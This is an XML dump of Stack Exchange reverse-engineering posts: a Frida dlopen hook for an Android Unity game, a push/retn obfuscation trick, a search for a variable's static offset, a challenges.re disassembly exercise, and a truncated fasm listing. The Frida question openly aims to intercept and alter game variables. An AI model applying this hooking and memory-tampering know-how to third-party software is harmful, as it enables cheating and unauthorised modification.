  <row Id="18877" PostTypeId="1" AcceptedAnswerId="24733" CreationDate="2018-07-23T21:19:22.610" Score="3" ViewCount="5267" Body="&lt;p&gt;I'm trying to extract symbols from an Android Unity game to detect something related to the game which I can intercept and replace variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code will enumerate symbols from libmain.so, libmono.so &amp;amp; libunity.so but not UnityEngine.*.dll.so, it seems they did not get addresses (retval equals 0x0), &#xA;I'm assuming they &lt;strong&gt;did not load yet (that's way no address), what function is in-charge on loading them&lt;/strong&gt; ? can I hook it and than enumerate symbols ?&#xA;any help ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Interceptor.attach(Module.findExportByName(null, 'dlopen'), {&#xA;    onEnter: function(args) {&#xA;        this.lib = Memory.readUtf8String(args[0]);&#xA;    },&#xA;    onLeave: function(retval) {&#xA;        console.log(&#xA;            this.lib.substr(this.lib.lastIndexOf('/') + 1, this.lib.length) +&#xA;            ' [ ' + retval + ' ] \n' +&#xA;            Module.enumerateExportsSync(this.lib).map(function(x) {&#xA;                return x.name&#xA;            })&#xA;        );&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libmain.so [ 0xac651e74 ] &#xA;__aeabi_unwind_cpp_pr0,JNI_OnLoad,__aeabi_unwind_cpp_pr1,__aeabi_unwind_cpp_pr2,__gnu_Unwind_Restore_VFP_D,__gnu_Unwind_Restore_VFP,__gnu_Unwind_Restore_VFP_D_16_to_31,__gnu_Unwind_Restore_WMMXD,__gnu_Unwind_Restore_WMMXC,restore_core_regs,_Unwind_GetCFA,__gnu_Unwind_RaiseException,__gnu_Unwind_ForcedUnwind,__gnu_Unwind_Resume,__gnu_Unwind_Resume_or_Rethrow,_Unwind_Complete,_Unwind_DeleteException,_Unwind_VRS_Get,_Unwind_VRS_Set,__gnu_Unwind_Backtrace,__gnu_unwind_execute,_Unwind_VRS_Pop,__gnu_Unwind_Save_VFP_D,__gnu_Unwind_Save_VFP,__gnu_Unwind_Save_VFP_D_16_to_31,__gnu_Unwind_Save_WMMXD,__gnu_Unwind_Save_WMMXC,__restore_core_regs,___Unwind_RaiseException,_Unwind_RaiseException,___Unwind_Resume,_Unwind_Resume,___Unwind_Resume_or_Rethrow,_Unwind_Resume_or_Rethrow,___Unwind_ForcedUnwind,_Unwind_ForcedUnwind,___Unwind_Backtrace,_Unwind_Backtrace,__gnu_unwind_frame,_Unwind_GetRegionStart,_Unwind_GetLanguageSpecificData,_Unwind_GetDataRelBase,_Unwind_GetTextRelBase&#xA;libunity.so [ 0xb399b004 ] &#xA;_ZNSt6vectorIcSaIcEE17_M_default_appendEj,_ZNSt6vectorIjSaIjEE17_M_default_appendEj,_ZdaPv,_ZdlPv,_Znaj,_Znwj,_ZdlPvRKSt9nothrow_t,_ZnwjRKSt9nothrow_t,_ZdaPvRKSt9nothrow_t,_ZnajRKSt9nothrow_t,_ZNSt6vectorIiSaIiEE17_M_default_appendEj,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE12_M_erase_auxESt23_Rb_tree_const_iteratorIiES7_,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE16_M_insert_uniqueIRKiEESt4pairISt17_Rb_tree_iteratorIiEbEOT_,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE5eraseERKi,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE8_M_eraseEPSt13_Rb_tree_nodeIiE,_ZNSt6vectorIfSaIfEE14_M_fill_insertEN9__gnu_cxx17__normal_iteratorIPfS1_EEjRKf,_ZNSt6vectorIfSaIfEE19_M_emplace_back_auxIJfEEEvDpOT_,_ZNSt6vectorISt4pairIiiESaIS1_EE17_M_default_appendEj,_ZNSt6vectorIiSaIiEE19_M_emplace_back_auxIJRKiEEEvDpOT_,_ZNSt6vectorIiSaIiEE19_M_emplace_back_auxIJiEEEvDpOT_,_ZNSt6vectorISt4pairIijESaIS1_EE19_M_emplace_back_auxIJS1_EEEvDpOT_,_ZNSt6vectorISt4pairIijESaIS1_EEaSERKS3_,_ZSt17__rotate_adaptiveIN9__gnu_cxx17__normal_iteratorIPSt4pairIijESt6vectorIS3_SaIS3_EEEES4_iET_S9_S9_S9_T1_SA_T0_SA_,_ZSt8__rotateIN9__gnu_cxx17__normal_iteratorIPSt4pairIijESt6vectorIS3_SaIS3_EEEEEvT_S9_S9_St26random_access_iterator_tag,_ZSt8__rotateIPiEvT_S1_S1_St26random_access_iterator_tag,_ZNSt6vectorIhSaIhEE17_M_default_appendEj,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE16_M_insert_uniqueIRKjEESt4pairISt17_Rb_tree_iteratorIjEbEOT_,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE16_M_insert_uniqueISt23_Rb_tree_const_iteratorIjEEEvT_S9_,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE16_M_insert_uniqueIjEESt4pairISt17_Rb_tree_iteratorIjEbEOT_,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE29_M_get_insert_hint_unique_posESt23_Rb_tree_const_iteratorIjERKj,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE7_M_copyEPKSt13_Rb_tree_nodeIjEPS7_,_ZNSt8_Rb_treeIjjSt9_IdentityIjESt4lessIjESaIjEE8_M_eraseEPSt13_Rb_tree_nodeIjE,_ZNSt6vectorIS_IfSaIfEESaIS1_EE19_M_emplace_back_auxIJRKS1_EEEvDpOT_,_ZNSt8_Rb_treeIiiSt9_IdentityIiESt4lessIiESaIiEE16_M_insert_uniqueIiEESt4pairISt17_Rb_tree_iteratorIiEbEOT_,_ZNSt6vectorIjSaIjEE19_M_emplace_back_auxIJRKjEEEvDpOT_,_ZNSt6vectorIiSaIiEE13_M_insert_auxIJRKiEEEvN9__gnu_cxx17__normal_iteratorIPiS1_EEDpOT_,_ZNSt6vectorIiSaIiEE13_M_insert_auxIJiEEEvN9__gnu_cxx17__normal_iteratorIPiS1_EEDpOT_,_ZNSt8_Rb_treeIPKvS1_St9_IdentityIS1_ESt4lessIS1_ESaIS1_EE16_M_insert_uniqueIS1_EESt4pairISt17_Rb_tree_iteratorIS1_EbEOT_,_ZNSt8_Rb_treeIPKvS1_St9_IdentityIS1_ESt4lessIS1_ESaIS1_EE8_M_eraseEPSt13_Rb_tree_nodeIS1_E,_ZNSt6vectorIjSaIjEE13_M_assign_auxIN9__gnu_cxx17__normal_iteratorIPjS1_EEEEvT_S7_St20forward_iterator_tag,_ZNSt6vectorIjSaIjEE14_M_fill_insertEN9__gnu_cxx17__normal_iteratorIPjS1_EEjRKj,_ZNSt6vectorIiSaIiEE13_M_assign_auxISt23_Rb_tree_const_iteratorIiEEEvT_S5_St20forward_iterator_tag,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE22_M_emplace_hint_uniqueIJRKSt21piecewise_construct_tSt5tupleIJRS1_EESD_IJEEEEESt17_Rb_tree_iteratorIS2_ESt23_Rb_tree_const_iteratorIS2_EDpOT_,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE29_M_get_insert_hint_unique_posESt23_Rb_tree_const_iteratorIS2_ERS1_,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE8_M_eraseEPSt13_Rb_tree_nodeIS2_E,_ZNSt6vectorIfSaIfEE17_M_default_appendEj,_ZNSt6vectorIjSaIjEE19_M_emplace_back_auxIJjEEEvDpOT_,UnitySendMessage,_ZNSt6vectorIcSaIcEE19_M_emplace_back_auxIJcEEEvDpOT_,_ZNSt6vectorIhSaIhEE15_M_range_insertIPhEEvN9__gnu_cxx17__normal_iteratorIS3_S1_EET_S7_St20forward_iterator_tag,_ZNSt6vectorIhSaIhEE19_M_emplace_back_auxIJhEEEvDpOT_,JNI_OnLoad,JNI_OnUnload,_ZNSt8_Rb_treeIiSt4pairIKi9sigactionESt10_Select1stIS3_ESt4lessIiESaIS3_EE22_M_emplace_hint_uniqueIJRKSt21piecewise_construct_tSt5tupleIJRS1_EESE_IJEEEEESt17_Rb_tree_iteratorIS3_ESt23_Rb_tree_const_iteratorIS3_EDpOT_,_ZNSt8_Rb_treeIiSt4pairIKi9sigactionESt10_Select1stIS3_ESt4lessIiESaIS3_EE29_M_get_insert_hint_unique_posESt23_Rb_tree_const_iteratorIS3_ERS1_,_ZNSt8_Rb_treeIiSt4pairIKi9sigactionESt10_Select1stIS3_ESt4lessIiESaIS3_EE8_M_eraseEPSt13_Rb_tree_nodeIS3_E,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE16_M_insert_uniqueIS0_IiiEEES0_ISt17_Rb_tree_iteratorIS2_EbEOT_,_ZNSt8_Rb_treeIiSt4pairIKiiESt10_Select1stIS2_ESt4lessIiESaIS2_EE7_M_copyEPKSt13_Rb_tree_nodeIS2_EPSA_,_ZN9__gnu_cxx21_Hashtable_prime_listImE16__stl_prime_listE,_ZNSt8_Rb_treeIyySt9_IdentityIyESt4lessIyESaIyEE12_M_erase_auxESt23_Rb_tree_const_iteratorIyES7_,_ZNSt8_Rb_treeIyySt9_IdentityIyESt4lessIyESaIyEE16_M_insert_uniqueIRKyEESt4pairISt17_Rb_tree_iteratorIyEbEOT_,_ZNSt8_Rb_treeIyySt9_IdentityIyESt4lessIyESaIyEE5eraseERKy,_ZNSt8_Rb_treeIyySt9_IdentityIyESt4lessIyESaIyEE8_M_eraseEPSt13_Rb_tree_nodeIyE,_ZNSt6vectorISt4pairIS0_IttEfESaIS2_EE17_M_default_appendEj,_ZNSt6vectorIhSaIhEE19_M_emplace_back_auxIJRKhEEEvDpOT_,_ZNSt6vectorIySaIyEE19_M_emplace_back_auxIJRKyEEEvDpOT_,_ZNSt6vectorIS_IySaIyEESaIS1_EE19_M_emplace_back_auxIJRKS1_EEEvDpOT_,_ZNSt6vectorIhSaIhEE15_M_range_insertIN9__gnu_cxx17__normal_iteratorIPhS1_EEEEvS6_T_S7_St20forward_iterator_tag,_ZNSt6vectorIhSaIhEE15_M_range_insertIPKcEEvN9__gnu_cxx17__normal_iteratorIPhS1_EET_S9_St20forward_iterator_tag,_ZNSt6vectorIhSaIhEE15_M_range_insertIPKhEEvN9__gnu_cxx17__normal_iteratorIPhS1_EET_S9_St20forward_iterator_tag,_ZNSt6vectorIhSaIhEE15_M_range_insertIPcEEvN9__gnu_cxx17__normal_iteratorIPhS1_EET_S8_St20forward_iterator_tag,_ZNSt6vectorIxSaIxEE19_M_emplace_back_auxIJRKxEEEvDpOT_,_ZNSt6vectorIhSaIhEEaSERKS1_,_ZNSt6vectorItSaItEEaSERKS1_&#xA;libmono.so [ 0xb399b3f4 ] &#xA;mono_jit_tls_id,mono_tracev,mono_jit_trace_calls,mono_break_on_exc,mono_compile_aot,mono_breakpoint_info_index,mono_aot_only,mono_build_date,mono_use_imt,mono_do_signal_chaining,mono_inject_async_exc_method,mono_break_at_bb_bb_num,mono_inject_async_exc_pos,mono_do_x86_stack_align,mono_break_at_bb_method,mono_pmip,mono_dont_free_global_codeman,mono_print_method_from_ip,mono_debug_lookup_source_location,mono_debug_free_source_location,mono_domain_get,mono_jit_info_table_find,g_free,mono_method_full_name,mono_mempool_alloc0,mono_code_manager_reserve,mono_code_manager_new,mono_type_generic_inst_is_valuetype,mono_type_get_underlying_type,mono_class_enum_basetype,mono_method_get_header,mono_jit_stats,mono_type_get_name,mono_inst_name,mono_class_from_mono_type,mono_metadata_signature_alloc,mono_mempool_alloc,mono_get_root_domain,mono_free_verify_list,mono_loader_get_last_error,mono_compile_method,mono_type_size,mono_metadata_generic_class_is_valuetype,mono_class_min_align,mono_environment_exitcode_get,mono_mempool_destroy,mono_thread_exit,mono_thread_attach,mono_domain_set,mono_jit_thread_attach,mono_thread_current,mono_debugger_thread_created,mono_thread_attach_aborted_cb,mono_debugger_thread_cleanup,mono_profiler_get_events,mono_class_vtable,mono_class_init,mono_runtime_class_init,mono_metadata_field_info,mono_lookup_internal_call,mono_image_rva_map,mono_thread_interruption_request_flag,mono_ldstr,mono_metadata_blob_heap,mono_ldtoken,mono_lookup_pinvoke_call,mono_type_get_object,mono_method_signature,mono_code_manager_new_dynamic,mono_method_get_generic_container,mono_code_manager_commit,mono_class_inflate_generic_method,mono_mempool_new,mono_debug_using_mono_debugger,mono_local_deadce,mono_runtime_invoke,mono_get_exception_execution_engine,mono_exception_from_name_msg,mono_loader_error_prepare_exception,mono_get_exception_bad_image_format,.....,GC_push_all_stack,GC_delete_thread,GC_lookup_thread,GC_start_blocking,GC_end_blocking,VER_1&#xA;mscorlib.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.CoreModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.AccessibilityModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.ParticleSystemModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.PhysicsModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.VehiclesModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.ClothModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.AIModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.AnimationModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.TextRenderingModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.UIModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.TerrainPhysicsModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.IMGUIModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.UnityWebRequestModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.UnityWebRequestAudioModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.UnityWebRequestTextureModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.UnityWebRequestWWWModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.UNETModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.DirectorModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.UnityAnalyticsModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.CrashReportingModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.PerformanceReportingModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.UnityConnectModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.WebModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.ARModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.VRModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.UIElementsModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.StyleSheetsModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.AudioModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.GameCenterModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.GridModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.ImageConversionModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.InputModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.JSONSerializeModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.ParticlesLegacyModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.Physics2DModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.ScreenCaptureModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.SpriteMaskModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.TerrainModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.TilemapModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.VideoModule.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.WindModule.dll.so [ 0x0 ] &#xA;&#xA;System.dll.so [ 0x0 ] &#xA;&#xA;Assembly-CSharp-firstpass.dll.so [ 0x0 ] &#xA;&#xA;Assembly-CSharp.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.UI.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.Networking.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.Timeline.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.SpatialTracking.dll.so [ 0x0 ] &#xA;&#xA;UnityEngine.Advertisements.Android.dll.so [ 0x0 ] &#xA;&#xA;Facebook.Unity.dll.so [ 0x0 ] &#xA;&#xA;Facebook.Unity.Settings.dll.so [ 0x0 ] &#xA;&#xA;Facebook.Unity.Android.dll.so [ 0x0 ] &#xA;&#xA;Facebook.Unity.IOS.dll.so [ 0x0 ] &#xA;&#xA;RTL.dll.so [ 0x0 ] &#xA;&#xA;System.Core.dll.so [ 0x0 ] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22071" LastEditorUserId="22071" LastEditDate="2018-07-25T11:54:10.620" LastActivityDate="2020-04-17T15:18:46.050" Title="android unity intercept w/ Frida" Tags="|android|.net|frida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18878" PostTypeId="1" CreationDate="2018-07-24T10:07:27.430" Score="3" ViewCount="487" Body="&lt;p&gt;I disassembled an exe file on Windows with IDA and saw this function prologue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jTNS2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jTNS2.png&quot; alt=&quot;ida&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that when the &lt;code&gt;retn&lt;/code&gt; executes instead of returning it jumps to &lt;code&gt;sub_1314cba4&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Why doesn't the &lt;code&gt;retn&lt;/code&gt; instruction actually return? I thought returning in the entry point will always exit the process.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why isn't the stack damaged? The function doesn't allocate any stack space using &lt;code&gt;sub esp, 0x...&lt;/code&gt; for example.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this behavior strange?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="25109" LastEditorUserId="266" LastEditDate="2018-07-25T11:59:54.417" LastActivityDate="2018-07-25T11:59:54.417" Title="Why doesn't this retn instruction return from the function?" Tags="|ida|windows|obfuscation|executable|stack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18879" PostTypeId="1" AcceptedAnswerId="18897" CreationDate="2018-07-24T10:09:41.827" Score="4" ViewCount="2119" Body="&lt;p&gt;I'm fairly new to reverse engineering at all and I'm currently struggling to get the static offset/address of a variable of a program I've written myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've written the following program in C++, just to get some practice:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;&#xA;class Entity&#xA;{&#xA;public:&#xA;    Entity(int health, int max_health, int armor) : m_health{ health }, m_max_health{ max_health }, m_armor{ armor }&#xA;    {}&#xA;protected:&#xA;    int m_health;&#xA;    int m_max_health;&#xA;    int m_armor;&#xA;};&#xA;&#xA;class Player : public Entity&#xA;{&#xA;public:&#xA;    Player() : Entity(200, 400, 50)&#xA;    {}&#xA;    void heal() { m_health = m_max_health; }&#xA;    int get_health() { return m_health; }&#xA;private:&#xA;};&#xA;&#xA;int main()&#xA;{&#xA;    Player player;&#xA;&#xA;    while (1)&#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; &quot;player health: &quot; &amp;lt;&amp;lt; player.get_health() &amp;lt;&amp;lt; &quot;\n&quot;;&#xA;        Sleep(500);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after that I've opened up the executable in x32dbg. My first step was to look for string references and then check if I can find the &quot;player health&quot; string. That was fairly easy and it led me to the following instructions, which represent the while loop of the executable: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/IComQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IComQ.png&quot; alt=&quot;1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after that I've set a breakpoint at 010C24EC(as you can see in the picture) and I've followed ESP(which is 31FE18) in dumb which led me to the value of 200 which I assume is the value of the variable so I think the address 31FE18 is the address of my variable player.m_health. Now my problem is that the address is changing every time I restart the program(which is normal), so I've written another program in C++, which reads out the Imagebase of the other process so I thought that when I subtract the address of my variable from my Imagebase, I could get the static offset that is always going to lead me to the correct variable when I add it to the imagebase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm quite sure that I missunderstood some things and I would be really happy if someone could help me out, since I've really spent some time on trying to figure this out on my own but none of the things I've tried worked so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greets&#xA;Steven&lt;/p&gt;&#xA;" OwnerUserId="25122" LastActivityDate="2018-07-26T22:39:50.750" Title="getting the static address/offset of a variable" Tags="|ollydbg|debugging|c++|address|offset|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18880" PostTypeId="2" ParentId="18878" CreationDate="2018-07-24T12:06:14.283" Score="7" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The address of &lt;code&gt;sub_1313cba4&lt;/code&gt; is moved to PC/IP but not directly, as this cannot be done. It is done by pushing the address to the stack and relying on the fact that &lt;code&gt;retn&lt;/code&gt; will get what's on the top of the stack and redirect the execution there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Well, it depends on what you mean by damaging the stack. The stack is just a place in memory and the damage can only occur by not correctly handling data on it. For example, trying to redirect execution to an address that doesn't represent the code. If an application is built with keeping in mind what's on the stack at any moment it can correctly continue execution.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is considered strange in normal applications, as this is not the normal way. If we are talking about crackmes, malware or any obfuscated binaries, then this is standard practice. It is done to make the reversing process more complex as calling functions this way is harder for tools to follow. It also makes harder for the reverser to follow the application's logic. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="266" LastEditDate="2018-07-24T18:40:08.157" LastActivityDate="2018-07-24T18:40:08.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18881" PostTypeId="2" ParentId="18878" CreationDate="2018-07-24T12:46:43.370" Score="3" Body="&lt;p&gt;My answers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Why is that?&lt;/strong&gt; The program you are looking at is probably using some software obfuscation because this is not a usual way to return from a function. My guess is that this function is just here to break automatic binary analysis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, what does happen precisely here... In fact, this is quite simple, the address of &lt;code&gt;sub_1313cba4&lt;/code&gt; is pushed on to the stack and the &lt;code&gt;ret&lt;/code&gt; instruction is executed. Basically, &lt;code&gt;ret&lt;/code&gt; will just do a &lt;code&gt;pop eip&lt;/code&gt; (beware, such instruction does not exist as we cannot address the &lt;code&gt;eip&lt;/code&gt; register in i386). So, it will load the address of the subroutine &lt;code&gt;sub_1313cba4&lt;/code&gt; into  &lt;code&gt;eip&lt;/code&gt; and will start executing it (the memory context, I mean the stack, will remain as it is now. No new stack-frame will be created, so the subroutine must take this into account to work properly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way of doing will totally lose the track of the call-stack by not following the rules (and will disturb many binary analysis tools such as IDA).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;How comes this function do not damage the stack?&lt;/strong&gt; This function does damage the [call] stack. It will be very hard to recover the call-stack starting from this point. But, it might be intended by the programmer of the software. As I was telling before, I really suspect some software obfuscation here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Is that behavior strange?&lt;/strong&gt; Yes, this is totally non-standard and probably intended to be.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="53" LastEditorUserId="60" LastEditDate="2018-07-24T18:20:11.013" LastActivityDate="2018-07-24T18:20:11.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18882" PostTypeId="1" AcceptedAnswerId="18886" CreationDate="2018-07-24T18:15:51.527" Score="3" ViewCount="1568" Body="&lt;p&gt;I am trying to solve reverse engineering problem(s) from &lt;a href=&quot;https://challenges.re/2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://challenges.re/2/&lt;/a&gt; - this is challenge 2 and the target is to get the highest possible level of understanding what the code does.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;f&amp;gt;:&#xA;   0:          mov    eax,DWORD PTR [esp+0x4]&#xA;   4:          bswap  eax&#xA;   6:          mov    edx,eax&#xA;   8:          and    eax,0xf0f0f0f&#xA;   d:          and    edx,0xf0f0f0f0&#xA;  13:          shr    edx,0x4&#xA;  16:          shl    eax,0x4&#xA;  19:          or     eax,edx&#xA;  1b:          mov    edx,eax&#xA;  1d:          and    eax,0x33333333&#xA;  22:          and    edx,0xcccccccc&#xA;  28:          shr    edx,0x2&#xA;  2b:          shl    eax,0x2&#xA;  2e:          or     eax,edx&#xA;  30:          mov    edx,eax&#xA;  32:          and    eax,0x55555555&#xA;  37:          and    edx,0xaaaaaaaa&#xA;  3d:          add    eax,eax&#xA;  3f:          shr    edx,1&#xA;  41:          or     eax,edx&#xA;  43:          ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my approach to solution, in comments. Because the code does not give me an initial starting point, I am assuming the initial value assignment to be &lt;code&gt;12 34 56 78&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    eax,DWORD PTR [esp+0x4] ; eax &amp;lt; 12 34 56 78 (‭305419896‬d)&#xA;bswap  eax               ; eax &amp;lt; 78 56 34 12&#xA;mov    edx,eax           ; eax = edx = 78 56 34 12&#xA;and    eax,0xf0f0f0f         ; eax = 02 04 06 08&#xA;and    edx,0xf0f0f0f0        ; edx = 70 50 30 10&#xA;shr    edx,0x4           ; edx = 07 05 03 01&#xA;shl    eax,0x4           ; eax = 20 40 60 80&#xA;or     eax,edx           ; eax = 27 45 63 81&#xA;mov    edx,eax           ; edx = eax = 27 45 63 81  &#xA;and    eax,0x33333333        ; eax = 23 01 23 01&#xA;and    edx,0xcccccccc        ; edx = 04 44 40 80&#xA;shr    edx,0x2           ; edx = 01 11 10 20&#xA;shl    eax,0x2           ; eax = 8C 04 8C 04&#xA;or     eax,edx           ; eax = 8D 15 9C 24&#xA;mov    edx,eax           ; eax = edx = 8D 15 9C 24&#xA;and    eax,0x55555555          ; eax = 05 15 14 04&#xA;and    edx,0xaaaaaaaa        ; edx = 88 00 88 20    &#xA;add    eax,eax           ; eax = 8D 15 9C 24&#xA;shr    edx,1             ; edx = 44 00 44 10&#xA;or     eax,edx           ; eax = CD 15 D6 34&#xA;ret                  ; return eax &amp;gt; CD 15 D6 34 (3440760372d)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I still don't get is the big picture - seems like some random mathematical operations without a purpose and probably I am wrong. What gives?&lt;/p&gt;&#xA;" OwnerUserId="24811" LastEditorUserId="245" LastEditDate="2018-07-26T11:07:51.470" LastActivityDate="2018-07-26T20:46:56.117" Title="Reverse Engineering Challenge 2 from challenges.re" Tags="|disassembly|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18883" PostTypeId="1" CreationDate="2018-07-24T19:48:38.097" Score="3" ViewCount="782" Body="&lt;p&gt;I wrote the following (fasm) assembly program:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;format ELF64 executable&#xA;&#xA;segment readable executable&#xA;&#xA;; sys_exit, sys_write, strlen and print are from io.inc and&#xA;; unistd64.inc at: https://github.com/pbohun/fasm-tutorials&#xA;sys_exit            =   60&#xA;sys_write           =   1&#xA;entry main&#xA;&#xA;strlen:&#xA;    push    rdi             ; push to stack&#xA;    push    rcx             ; push to stack&#xA;    sub     rcx, rcx        ; set rcx to 0&#xA;    mov     rcx, -1         ; move -1 to rcx&#xA;    sub     al, al          ; set al to 0&#xA;    cld                     ; clear the direction flags&#xA;    repne   scasb           ; repeat if not equal to al&#xA;    neg     rcx             ; negate rcx&#xA;    sub     rcx, 1          ; subtract 1 from rcx&#xA;    mov     rax, rcx        ; move value from rcx to rax&#xA;    pop     rcx             ; restore original rcx value&#xA;    pop     rdi             ; restore original rdi value&#xA;    ret&#xA;&#xA;print:&#xA;    call    strlen          ; get string length&#xA;    mov     rdx, rax        ; move string length to rdx&#xA;    mov     rsi, rdi        ; move address of string to rdi&#xA;    mov     rdi, 1          